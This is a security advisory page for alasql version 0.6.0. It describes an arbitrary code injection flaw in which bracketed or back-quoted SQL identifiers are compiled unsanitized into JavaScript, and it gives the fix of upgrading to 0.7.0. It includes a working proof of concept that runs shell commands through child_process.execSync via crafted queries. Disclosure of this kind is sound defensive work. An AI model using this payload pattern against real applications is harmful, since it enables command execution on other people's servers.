alasql@0.6.0 vulnerabilities

Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

  • latest version

    4.5.2

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    2 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the alasql package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Injection

    alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

    Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.

    POC

    const alasql = require('alasql');
    
    const genPayload = command => `
    new Function(
        'return this.process.mainModule.require'
    )()('child_process').execSync(${JSON.stringify(command)})
    `;
    
    
    res = alasql(
        // Initialize the database
        'CREATE table i_am_a_table;' +
        `INSERT INTO i_am_a_table VALUES (1337);` +
    
        // Code injection in four different ways
        `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
        `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
        `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
        `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
    );
    

    How to fix Arbitrary Code Injection?

    Upgrade alasql to version 0.7.0 or higher.

    <0.7.0